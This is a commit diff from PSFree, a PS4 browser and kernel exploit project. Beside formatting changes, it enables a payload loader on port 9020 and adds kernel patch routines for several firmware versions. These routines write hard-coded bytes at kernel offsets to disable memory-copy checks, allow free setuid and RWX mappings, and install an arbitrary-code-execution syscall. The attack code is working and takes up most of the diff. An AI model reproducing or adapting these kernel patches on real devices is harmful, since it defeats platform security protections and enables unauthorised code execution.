Push updates...
1. Cleanup/Linting/Tweaks/Fixes/etc - Default Prettier config w/ 999 line length - Default eslint config "problems" list trimmed down 2. Fixed corrupt pointer cleanup by abc 3. Fixed `ip6po_rthdr` offset for PS5 by abc 4. Verified the number of blocking requests needed to be two by abc 5. Only run kernel exploit once by checking setuid by @JTAG7371 6. Kernel patches from pOOBs4 by @ChendoChap (Ported for 8.00-9.60) 7. Payload loader from pOOBs4 by @ChendoChap 8. Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm 9. Add `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by @janisslsm The ONLY things that should need changes are the `/rop/ps4/*.mjs` files (850, 900, and 950). Firmware 8.00 appears to be stable/have a good success rate now.
This commit is contained in:
3
.prettierrc
Normal file
3
.prettierrc
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
{
|
||||||
|
"printWidth": 999
|
||||||
|
}
|
||||||
@@ -7,7 +7,7 @@ PSFree is a collection of exploits for the PS4 console. The main focus of the re
|
|||||||
* **Auto-detection:** Automatically detects console type and firmware version (via `src/config.mjs`).
|
* **Auto-detection:** Automatically detects console type and firmware version (via `src/config.mjs`).
|
||||||
* **WebKit Exploit (PSFree):** Entry point via the console's web browser.
|
* **WebKit Exploit (PSFree):** Entry point via the console's web browser.
|
||||||
* **Kernel Exploit (Lapse):** Escalates privileges to kernel level.
|
* **Kernel Exploit (Lapse):** Escalates privileges to kernel level.
|
||||||
* ~~Payload Loader: After successful kernel exploitation listens for a payload on port 9020.~~ **WIP**
|
* **Payload Loader:** After successful kernel exploitation listens for a payload on port 9020.
|
||||||
|
|
||||||
## Vulnerability Scope
|
## Vulnerability Scope
|
||||||
|
|
||||||
@@ -29,7 +29,6 @@ This table indicates firmware versions for which the *current version* of this r
|
|||||||
|
|
||||||
## TODO List
|
## TODO List
|
||||||
|
|
||||||
- [ ] Integrate payload loader (Test on 8.00-8.03)
|
|
||||||
- [ ] Rewrite JOP chains in `rop/ps4/850.mjs`, `rop/ps4/900.mjs`, and `rop/ps4/950.mjs`
|
- [ ] Rewrite JOP chains in `rop/ps4/850.mjs`, `rop/ps4/900.mjs`, and `rop/ps4/950.mjs`
|
||||||
- I scrapped the ones I had...
|
- I scrapped the ones I had...
|
||||||
- [ ] `lapse.mjs`: Just set the bits for JIT privs
|
- [ ] `lapse.mjs`: Just set the bits for JIT privs
|
||||||
|
|||||||
@@ -26,27 +26,17 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
// We log the line and column numbers as well since some exceptions (like
|
// We log the line and column numbers as well since some exceptions (like
|
||||||
// SyntaxError) do not show it in the stack trace.
|
// SyntaxError) do not show it in the stack trace.
|
||||||
|
|
||||||
addEventListener('unhandledrejection', event => {
|
addEventListener("unhandledrejection", (event) => {
|
||||||
const reason = event.reason;
|
const reason = event.reason;
|
||||||
alert(
|
alert(`Unhandled rejection\n${reason}\n${reason.sourceURL}:${reason.line}:${reason.column}\n${reason.stack}`);
|
||||||
'Unhandled rejection\n'
|
|
||||||
+ `${reason}\n`
|
|
||||||
+ `${reason.sourceURL}:${reason.line}:${reason.column}\n`
|
|
||||||
+ `${reason.stack}`
|
|
||||||
);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
addEventListener('error', event => {
|
addEventListener("error", (event) => {
|
||||||
const reason = event.error;
|
const reason = event.error;
|
||||||
alert(
|
alert(`Unhandled error\n${reason}\n${reason.sourceURL}:${reason.line}:${reason.column}\n${reason.stack}`);
|
||||||
'Unhandled error\n'
|
|
||||||
+ `${reason}\n`
|
|
||||||
+ `${reason.sourceURL}:${reason.line}:${reason.column}\n`
|
|
||||||
+ `${reason.stack}`
|
|
||||||
);
|
|
||||||
return true;
|
return true;
|
||||||
});
|
});
|
||||||
|
|
||||||
// we have to dynamically import the program if we want to catch its syntax
|
// we have to dynamically import the program if we want to catch its syntax
|
||||||
// errors
|
// errors
|
||||||
import('./psfree.mjs');
|
import("./psfree.mjs");
|
||||||
|
|||||||
@@ -73,10 +73,10 @@ function get_target_from_ua(useragent) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (match[1] == '4') {
|
if (match[1] == "4") {
|
||||||
return parseInt(`0x0${match[2].replace('.', '').padStart(4, '0')}`);
|
return parseInt(`0x0${match[2].replace(".", "").padStart(4, "0")}`);
|
||||||
} else if (match[1] == '5') {
|
} else if (match[1] == "5") {
|
||||||
return parseInt(`0x1${match[2].replace('.', '').padStart(4, '0')}`);
|
return parseInt(`0x1${match[2].replace(".", "").padStart(4, "0")}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -60,8 +60,20 @@ void do_patch(void) {
|
|||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
||||||
|
|
||||||
|
// Initial patches
|
||||||
|
write16(kbase, 0x62d254, 0x9090); // veriPatch
|
||||||
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
|
write8(kbase, 0x25e10d, 0xeb); // bzero
|
||||||
|
write8(kbase, 0x25e151, 0xeb); // pagezero
|
||||||
|
write8(kbase, 0x25e1cd, 0xeb); // memcpy
|
||||||
|
write8(kbase, 0x25e211, 0xeb); // pagecopy
|
||||||
|
write8(kbase, 0x25e3bd, 0xeb); // copyin
|
||||||
|
write8(kbase, 0x25e86d, 0xeb); // copyinstr
|
||||||
|
write8(kbase, 0x25e93d, 0xeb); // copystr
|
||||||
|
|
||||||
|
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||||
// struct syscall_args sa; // initialized already
|
// struct syscall_args sa; // initialized already
|
||||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||||
// int is_invalid_syscall = 0
|
// int is_invalid_syscall = 0
|
||||||
@@ -95,19 +107,16 @@ void do_patch(void) {
|
|||||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||||
//
|
//
|
||||||
// sy_call() is the function that will execute the requested syscall.
|
// sy_call() is the function that will execute the requested syscall.
|
||||||
write16(kbase, 0x4b5, 0x9090);
|
|
||||||
write16(kbase, 0x4b9, 0x9090);
|
|
||||||
write8(kbase, 0x4c2, 0xeb);
|
write8(kbase, 0x4c2, 0xeb);
|
||||||
|
write16(kbase, 0x4b9, 0x9090);
|
||||||
|
write16(kbase, 0x4b5, 0x9090);
|
||||||
|
|
||||||
// patch sys_mmap() to allow rwx mappings
|
// patch sys_setuid() to allow freely changing the effective user ID
|
||||||
|
// ; PRIV_CRED_SETUID = 50
|
||||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||||
// the ps4 added custom protections for their gpu memory accesses
|
// test eax, eax
|
||||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
// je ... ; patch je to jmp
|
||||||
// that's why you see other bits set
|
write8(kbase, 0x34d696, 0xeb);
|
||||||
// ref: https://cturt.github.io/ps4-2.html
|
|
||||||
write8(kbase, 0xfd03a, 0x37);
|
|
||||||
write8(kbase, 0xfd03d, 0x37);
|
|
||||||
|
|
||||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||||
//
|
//
|
||||||
@@ -119,8 +128,10 @@ void do_patch(void) {
|
|||||||
// }
|
// }
|
||||||
write32(kbase, 0x3ec68d, 0);
|
write32(kbase, 0x3ec68d, 0);
|
||||||
|
|
||||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
// TODO: Description of this patch. "prx"
|
||||||
|
write16(kbase, 0x318d84, 0xe990);
|
||||||
|
|
||||||
|
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||||
// call ...
|
// call ...
|
||||||
// mov r14, qword [rbp - 0xad0]
|
// mov r14, qword [rbp - 0xad0]
|
||||||
// cmp eax, 0x4000000
|
// cmp eax, 0x4000000
|
||||||
@@ -142,13 +153,14 @@ void do_patch(void) {
|
|||||||
// ...
|
// ...
|
||||||
write32(kbase, 0x951c0, 0xc3c03148);
|
write32(kbase, 0x951c0, 0xc3c03148);
|
||||||
|
|
||||||
// patch sys_setuid() to allow freely changing the effective user ID
|
// patch sys_mmap() to allow rwx mappings
|
||||||
|
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||||
// ; PRIV_CRED_SETUID = 50
|
// the ps4 added custom protections for their gpu memory accesses
|
||||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||||
// test eax, eax
|
// that's why you see other bits set
|
||||||
// je ... ; patch je to jmp
|
// ref: https://cturt.github.io/ps4-2.html
|
||||||
write8(kbase, 0x34d696, 0xeb);
|
write8(kbase, 0xfd03a, 0x37);
|
||||||
|
write8(kbase, 0xfd03d, 0x37);
|
||||||
|
|
||||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||||
//
|
//
|
||||||
@@ -164,15 +176,12 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
// .sy_narg = 2
|
||||||
// sysent[11]
|
write32(kbase, 0x10fc6e0, 2);
|
||||||
const size_t offset_sysent_11 = 0x10fc6e0;
|
|
||||||
// .sy_narg = 6
|
|
||||||
write32(kbase, offset_sysent_11, 6);
|
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, offset_sysent_11 + 8, kbase + 0xe629c);
|
write64(kbase, 0x10fc6e0 + 8, kbase + 0xe629c);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
write32(kbase, 0x10fc6e0 + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -60,8 +60,20 @@ void do_patch(void) {
|
|||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
||||||
|
|
||||||
|
// Initial patches
|
||||||
|
write16(kbase, 0x624674, 0x9090); // veriPatch
|
||||||
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
|
write8(kbase, 0x3a403d, 0xeb); // bzero
|
||||||
|
write8(kbase, 0x3a4081, 0xeb); // pagezero
|
||||||
|
write8(kbase, 0x3a40fd, 0xeb); // memcpy
|
||||||
|
write8(kbase, 0x3a4141, 0xeb); // pagecopy
|
||||||
|
write8(kbase, 0x3a42ed, 0xeb); // copyin
|
||||||
|
write8(kbase, 0x3a479d, 0xeb); // copyinstr
|
||||||
|
write8(kbase, 0x3a486d, 0xeb); // copystr
|
||||||
|
|
||||||
|
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||||
// struct syscall_args sa; // initialized already
|
// struct syscall_args sa; // initialized already
|
||||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||||
// int is_invalid_syscall = 0
|
// int is_invalid_syscall = 0
|
||||||
@@ -95,19 +107,16 @@ void do_patch(void) {
|
|||||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||||
//
|
//
|
||||||
// sy_call() is the function that will execute the requested syscall.
|
// sy_call() is the function that will execute the requested syscall.
|
||||||
write16(kbase, 0x4b5, 0x9090);
|
|
||||||
write16(kbase, 0x4b9, 0x9090);
|
|
||||||
write8(kbase, 0x4c2, 0xeb);
|
write8(kbase, 0x4c2, 0xeb);
|
||||||
|
write16(kbase, 0x4b9, 0x9090);
|
||||||
|
write16(kbase, 0x4b5, 0x9090);
|
||||||
|
|
||||||
// patch sys_mmap() to allow rwx mappings
|
// patch sys_setuid() to allow freely changing the effective user ID
|
||||||
|
// ; PRIV_CRED_SETUID = 50
|
||||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||||
// the ps4 added custom protections for their gpu memory accesses
|
// test eax, eax
|
||||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
// je ... ; patch je to jmp
|
||||||
// that's why you see other bits set
|
write8(kbase, 0x22f3d6, 0xeb);
|
||||||
// ref: https://cturt.github.io/ps4-2.html
|
|
||||||
write8(kbase, 0x826ea, 0x37);
|
|
||||||
write8(kbase, 0x826ed, 0x37);
|
|
||||||
|
|
||||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||||
//
|
//
|
||||||
@@ -119,8 +128,10 @@ void do_patch(void) {
|
|||||||
// }
|
// }
|
||||||
write32(kbase, 0x14d6dd, 0);
|
write32(kbase, 0x14d6dd, 0);
|
||||||
|
|
||||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
// TODO: Description of this patch. "prx"
|
||||||
|
write16(kbase, 0x17474, 0xe990);
|
||||||
|
|
||||||
|
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||||
// call ...
|
// call ...
|
||||||
// mov r14, qword [rbp - 0xad0]
|
// mov r14, qword [rbp - 0xad0]
|
||||||
// cmp eax, 0x4000000
|
// cmp eax, 0x4000000
|
||||||
@@ -142,13 +153,14 @@ void do_patch(void) {
|
|||||||
// ...
|
// ...
|
||||||
write32(kbase, 0x3ad040, 0xc3c03148);
|
write32(kbase, 0x3ad040, 0xc3c03148);
|
||||||
|
|
||||||
// patch sys_setuid() to allow freely changing the effective user ID
|
// patch sys_mmap() to allow rwx mappings
|
||||||
|
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||||
// ; PRIV_CRED_SETUID = 50
|
// the ps4 added custom protections for their gpu memory accesses
|
||||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||||
// test eax, eax
|
// that's why you see other bits set
|
||||||
// je ... ; patch je to jmp
|
// ref: https://cturt.github.io/ps4-2.html
|
||||||
write8(kbase, 0x22f3d6, 0xeb);
|
write8(kbase, 0x826ea, 0x37);
|
||||||
|
write8(kbase, 0x826ed, 0x37);
|
||||||
|
|
||||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||||
//
|
//
|
||||||
@@ -164,15 +176,12 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
// .sy_narg = 2
|
||||||
// sysent[11]
|
write32(kbase, 0x10fc7d0, 2);
|
||||||
const size_t offset_sysent_11 = 0x10fc7d0;
|
|
||||||
// .sy_narg = 6
|
|
||||||
write32(kbase, offset_sysent_11, 6);
|
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, offset_sysent_11 + 8, kbase + 0xc810d);
|
write64(kbase, 0x10fc7d0 + 8, kbase + 0xc810d);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
write32(kbase, 0x10fc7d0 + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -60,8 +60,20 @@ void do_patch(void) {
|
|||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
||||||
|
|
||||||
|
// Initial patches
|
||||||
|
write16(kbase, 0x626874, 0x9090); // veriPatch
|
||||||
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
|
write8(kbase, 0x2713fd, 0xeb); // bzero
|
||||||
|
write8(kbase, 0x271441, 0xeb); // pagezero
|
||||||
|
write8(kbase, 0x2714bd, 0xeb); // memcpy
|
||||||
|
write8(kbase, 0x271501, 0xeb); // pagecopy
|
||||||
|
write8(kbase, 0x2716ad, 0xeb); // copyin
|
||||||
|
write8(kbase, 0x271b5d, 0xeb); // copyinstr
|
||||||
|
write8(kbase, 0x271c2d, 0xeb); // copystr
|
||||||
|
|
||||||
|
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||||
// struct syscall_args sa; // initialized already
|
// struct syscall_args sa; // initialized already
|
||||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||||
// int is_invalid_syscall = 0
|
// int is_invalid_syscall = 0
|
||||||
@@ -95,19 +107,16 @@ void do_patch(void) {
|
|||||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||||
//
|
//
|
||||||
// sy_call() is the function that will execute the requested syscall.
|
// sy_call() is the function that will execute the requested syscall.
|
||||||
write16(kbase, 0x4b5, 0x9090);
|
|
||||||
write16(kbase, 0x4b9, 0x9090);
|
|
||||||
write8(kbase, 0x4c2, 0xeb);
|
write8(kbase, 0x4c2, 0xeb);
|
||||||
|
write16(kbase, 0x4b9, 0x9090);
|
||||||
|
write16(kbase, 0x4b5, 0x9090);
|
||||||
|
|
||||||
// patch sys_mmap() to allow rwx mappings
|
// patch sys_setuid() to allow freely changing the effective user ID
|
||||||
|
// ; PRIV_CRED_SETUID = 50
|
||||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||||
// the ps4 added custom protections for their gpu memory accesses
|
// test eax, eax
|
||||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
// je ... ; patch je to jmp
|
||||||
// that's why you see other bits set
|
write8(kbase, 0x1a06, 0xeb);
|
||||||
// ref: https://cturt.github.io/ps4-2.html
|
|
||||||
write8(kbase, 0x16632a, 0x37);
|
|
||||||
write8(kbase, 0x16632d, 0x37);
|
|
||||||
|
|
||||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||||
//
|
//
|
||||||
@@ -119,8 +128,10 @@ void do_patch(void) {
|
|||||||
// }
|
// }
|
||||||
write32(kbase, 0x80b8d, 0);
|
write32(kbase, 0x80b8d, 0);
|
||||||
|
|
||||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
// TODO: Description of this patch. "prx"
|
||||||
|
write16(kbase, 0x23aec4, 0xe990);
|
||||||
|
|
||||||
|
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||||
// call ...
|
// call ...
|
||||||
// mov r14, qword [rbp - 0xad0]
|
// mov r14, qword [rbp - 0xad0]
|
||||||
// cmp eax, 0x4000000
|
// cmp eax, 0x4000000
|
||||||
@@ -142,13 +153,14 @@ void do_patch(void) {
|
|||||||
// ...
|
// ...
|
||||||
write32(kbase, 0x221b40, 0xc3c03148);
|
write32(kbase, 0x221b40, 0xc3c03148);
|
||||||
|
|
||||||
// patch sys_setuid() to allow freely changing the effective user ID
|
// patch sys_mmap() to allow rwx mappings
|
||||||
|
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||||
// ; PRIV_CRED_SETUID = 50
|
// the ps4 added custom protections for their gpu memory accesses
|
||||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||||
// test eax, eax
|
// that's why you see other bits set
|
||||||
// je ... ; patch je to jmp
|
// ref: https://cturt.github.io/ps4-2.html
|
||||||
write8(kbase, 0x1a06, 0xeb);
|
write8(kbase, 0x16632a, 0x37);
|
||||||
|
write8(kbase, 0x16632d, 0x37);
|
||||||
|
|
||||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||||
//
|
//
|
||||||
@@ -164,15 +176,12 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
// .sy_narg = 2
|
||||||
// sysent[11]
|
write32(kbase, 0x1100520, 2);
|
||||||
const size_t offset_sysent_11 = 0x1100520;
|
|
||||||
// .sy_narg = 6
|
|
||||||
write32(kbase, offset_sysent_11, 6);
|
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
|
write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
write32(kbase, 0x1100520 + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -60,8 +60,20 @@ void do_patch(void) {
|
|||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
||||||
|
|
||||||
|
// Initial patches
|
||||||
|
write16(kbase, 0x624834, 0x9090); // veriPatch
|
||||||
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
|
write8(kbase, 0x27107d, 0xeb); // bzero
|
||||||
|
write8(kbase, 0x2710c1, 0xeb); // pagezero
|
||||||
|
write8(kbase, 0x27113d, 0xeb); // memcpy
|
||||||
|
write8(kbase, 0x271181, 0xeb); // pagecopy
|
||||||
|
write8(kbase, 0x27132d, 0xeb); // copyin
|
||||||
|
write8(kbase, 0x2717dd, 0xeb); // copyinstr
|
||||||
|
write8(kbase, 0x2718ad, 0xeb); // copystr
|
||||||
|
|
||||||
|
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||||
// struct syscall_args sa; // initialized already
|
// struct syscall_args sa; // initialized already
|
||||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||||
// int is_invalid_syscall = 0
|
// int is_invalid_syscall = 0
|
||||||
@@ -95,19 +107,16 @@ void do_patch(void) {
|
|||||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||||
//
|
//
|
||||||
// sy_call() is the function that will execute the requested syscall.
|
// sy_call() is the function that will execute the requested syscall.
|
||||||
write16(kbase, 0x4b5, 0x9090);
|
|
||||||
write16(kbase, 0x4b9, 0x9090);
|
|
||||||
write8(kbase, 0x4c2, 0xeb);
|
write8(kbase, 0x4c2, 0xeb);
|
||||||
|
write16(kbase, 0x4b9, 0x9090);
|
||||||
|
write16(kbase, 0x4b5, 0x9090);
|
||||||
|
|
||||||
// patch sys_mmap() to allow rwx mappings
|
// patch sys_setuid() to allow freely changing the effective user ID
|
||||||
|
// ; PRIV_CRED_SETUID = 50
|
||||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||||
// the ps4 added custom protections for their gpu memory accesses
|
// test eax, eax
|
||||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
// je ... ; patch je to jmp
|
||||||
// that's why you see other bits set
|
write8(kbase, 0x1a06, 0xeb);
|
||||||
// ref: https://cturt.github.io/ps4-2.html
|
|
||||||
write8(kbase, 0x1662da, 0x37);
|
|
||||||
write8(kbase, 0x1662dd, 0x37);
|
|
||||||
|
|
||||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||||
//
|
//
|
||||||
@@ -119,8 +128,10 @@ void do_patch(void) {
|
|||||||
// }
|
// }
|
||||||
write32(kbase, 0x80b8d, 0);
|
write32(kbase, 0x80b8d, 0);
|
||||||
|
|
||||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
// TODO: Description of this patch. "prx"
|
||||||
|
write16(kbase, 0x23ab94, 0xe990);
|
||||||
|
|
||||||
|
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||||
// call ...
|
// call ...
|
||||||
// mov r14, qword [rbp - 0xad0]
|
// mov r14, qword [rbp - 0xad0]
|
||||||
// cmp eax, 0x4000000
|
// cmp eax, 0x4000000
|
||||||
@@ -142,13 +153,14 @@ void do_patch(void) {
|
|||||||
// ...
|
// ...
|
||||||
write32(kbase, 0x221810, 0xc3c03148);
|
write32(kbase, 0x221810, 0xc3c03148);
|
||||||
|
|
||||||
// patch sys_setuid() to allow freely changing the effective user ID
|
// patch sys_mmap() to allow rwx mappings
|
||||||
|
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||||
// ; PRIV_CRED_SETUID = 50
|
// the ps4 added custom protections for their gpu memory accesses
|
||||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||||
// test eax, eax
|
// that's why you see other bits set
|
||||||
// je ... ; patch je to jmp
|
// ref: https://cturt.github.io/ps4-2.html
|
||||||
write8(kbase, 0x1a06, 0xeb);
|
write8(kbase, 0x1662da, 0x37);
|
||||||
|
write8(kbase, 0x1662dd, 0x37);
|
||||||
|
|
||||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||||
//
|
//
|
||||||
@@ -164,15 +176,12 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
// .sy_narg = 2
|
||||||
// sysent[11]
|
write32(kbase, 0x10fc520, 2);
|
||||||
const size_t offset_sysent_11 = 0x10fc520;
|
|
||||||
// .sy_narg = 6
|
|
||||||
write32(kbase, offset_sysent_11, 6);
|
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x5325b);
|
write64(kbase, 0x10fc520 + 8, kbase + 0x5325b);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
write32(kbase, 0x10fc520 + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -60,8 +60,20 @@ void do_patch(void) {
|
|||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
||||||
|
|
||||||
|
// Initial patches
|
||||||
|
write16(kbase, 0x624ae4, 0x9090); // veriPatch
|
||||||
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
|
write8(kbase, 0x201c0d, 0xeb); // bzero
|
||||||
|
write8(kbase, 0x201c51, 0xeb); // pagezero
|
||||||
|
write8(kbase, 0x201ccd, 0xeb); // memcpy
|
||||||
|
write8(kbase, 0x201d11, 0xeb); // pagecopy
|
||||||
|
write8(kbase, 0x201ebd, 0xeb); // copyin
|
||||||
|
write8(kbase, 0x20236d, 0xeb); // copyinstr
|
||||||
|
write8(kbase, 0x20243d, 0xeb); // copystr
|
||||||
|
|
||||||
|
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||||
// struct syscall_args sa; // initialized already
|
// struct syscall_args sa; // initialized already
|
||||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||||
// int is_invalid_syscall = 0
|
// int is_invalid_syscall = 0
|
||||||
@@ -95,19 +107,16 @@ void do_patch(void) {
|
|||||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||||
//
|
//
|
||||||
// sy_call() is the function that will execute the requested syscall.
|
// sy_call() is the function that will execute the requested syscall.
|
||||||
